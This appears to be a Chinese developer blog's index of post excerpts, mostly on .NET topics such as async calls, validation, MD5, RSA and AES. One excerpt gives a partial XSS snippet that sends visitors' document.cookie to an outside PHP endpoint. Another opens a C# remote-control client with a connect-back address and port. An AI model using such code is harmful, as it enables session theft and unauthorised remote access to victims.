摘要: IIS 7.0 装好后,出现 以上问题.解决办法,如下图,设置应用程序池 , 阅读全文
posted @ 2013-08-23 00:50 如.若 阅读(357) 评论(0) 推荐(0) 编辑
摘要: IAsyncResult 接口由包含可异步操作的方法的类实现。它是启动异步操作的方法的返回类型,如 FileStream.BeginRead,也是结束异步操作的方法的第三个参数的类型,如 FileStream.EndRead。当异步操作完成时,IAsyncResult 对象也将传递给由 AsyncCallback 委托调用的方法。支持 IAsyncResult 接口的对象存储异步操作的状态信息,并提供同步对象以允许线程在操作完成时终止。有关如何使用 IAsyncResult 接口的详细说明,请参见“使用异步方式调用同步方法”主题。using System;using System.Thread 阅读全文
posted @ 2013-08-14 18:04 如.若 阅读(695) 评论(0) 推荐(0) 编辑
摘要: /// /// 线程控制模块 /// private ManualResetEvent manualResetEvent = new ManualResetEvent(false); /// /// 配合使用 /// private AutoResetEvent autoResetEvent = new AutoResetEvent(true); private AsyncOperation asyncOperation = AsyncOperationMan... 阅读全文
posted @ 2013-08-14 15:30 如.若 阅读(3163) 评论(0) 推荐(2) 编辑
摘要: 首先定义一个全局,上线地址,上线端口等using Control_Client; using Microsoft.Win32; using System; using System.Collections.Generic; using System.Diagnostics; using System.Drawing; using System.IO; using System.Management; using System.Net; using System.Net.Sockets; using System.Text; using System.Threading; using Syste 阅读全文
posted @ 2013-08-14 15:11 如.若 阅读(4233) 评论(1) 推荐(1) 编辑
摘要: 使用自定义验证组件库扩展 Windows 窗体 1(共 1)对本文的评价是有帮助 - 评价此主题 发布日期 : 8/24/2004 | 更新日期 : 8/24/2004Michael Weinhardthttp://www.mikedub.net/摘要:数据验证是确保正常的数据捕获以及后续处理和报告的关键步骤。本文介绍了 Windows 窗体固有的程序验证基础结构,并以此为基础开发了用于提供更高效验证功能的自定义验证组件库,该验证功能与使用 ASP.NET 的验证控件相似。下载 winforms03162004_sample.msi 示例文件。本页内容引言 Windows 窗体验证的主要功能. 阅读全文
posted @ 2013-08-11 17:06 如.若 阅读(417) 评论(0) 推荐(0) 编辑
摘要: MD5的全称是Message-Digest Algorithm 5,在90年代初由MIT的计算机科学实验室和RSA Data Security Inc发明,经MD2、MD3和MD4发展而来。 MD5将任意长度的“字节串”变换成一个128bit的大整数,并且它是一个不可逆的字符串变换算法,换句话说就是,即使你看到源程序和算法描述,也无法将一个MD5的值变换回原始的字符串,从数学原理上说,是因为原始的字符串有无穷多个,这有点象不存在反函数的数学函数。 MD5的典型应用是对一段Message(字节串)产生fingerprint(指纹),以防止被“篡改”。举个例子,你将一段话写在一个叫 ... 阅读全文
posted @ 2013-07-17 14:01 如.若 阅读(1091) 评论(0) 推荐(0) 编辑
摘要: 大家知道xss攻击最有效的方式就是盗取cookie值。通过盗取cookie值可以进入后台从法客搬过来的~JS: document.write(''); function get(url) { var obj = document.getElementById("get"); obj.src = url; } var u="http:// www.2cto.com /1.php?msg="+escape(document.title)+"|"+document.cookie+"|"+escape(do 阅读全文
posted @ 2013-07-17 13:58 如.若 阅读(836) 评论(0) 推荐(0) 编辑
摘要: 利用U盘进行软件加密的方法 一般的U盘不具备加密的功能,虽然U盘和加密狗外形有一些相似,但是内部完全不一样的,U盘只是一个存储器芯片和简单的附属电路,而现在的智能卡加密狗都具有一个单独的CPU或者加密芯片,可以执行相当复杂的加密算法。 有的软件开发商有这样一种需求,就是使用U盘发布软件的同时,想要节约成本,防止U盘中的软件被复制,但又不想再购买昂贵的加密狗,因此想要把软件绑定在U盘上执行,当U盘拔下来的时候,软件就不能正常运行,和我先前介绍的绑定硬件指纹相似,使用绑定U盘的方式加密软件。 在对软件安全不是特别在意的情况下,可以在软件中采用绑定U盘内部ID的方式来实现这种加密,先使用程序... 阅读全文
posted @ 2013-07-17 13:57 如.若 阅读(409) 评论(0) 推荐(0) 编辑
摘要: 第一步产生密钥类 CreateKeyView Codeusing System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Security.Cryptography; using System.IO;namespace RSA { /// /// 创建公钥和私钥 /// public static class CreateKey { #region GetPublicKey /// ... 阅读全文
posted @ 2013-07-17 13:54 如.若 阅读(859) 评论(0) 推荐(0) 编辑
摘要: 由于最近在项目中用到,之前在网上找了好多,来来回回,终于整出来了。 贴出来以后用起来方便 C# [csharp] view plaincopyprint? #region AES加解密 /// ///AES加密(加密步骤) ///1,加密字符串得到2进制数组; ///2,将2禁止数组转为16进制; ... 阅读全文
posted @ 2013-07-17 13:49 如.若 阅读(1250) 评论(0) 推荐(0) 编辑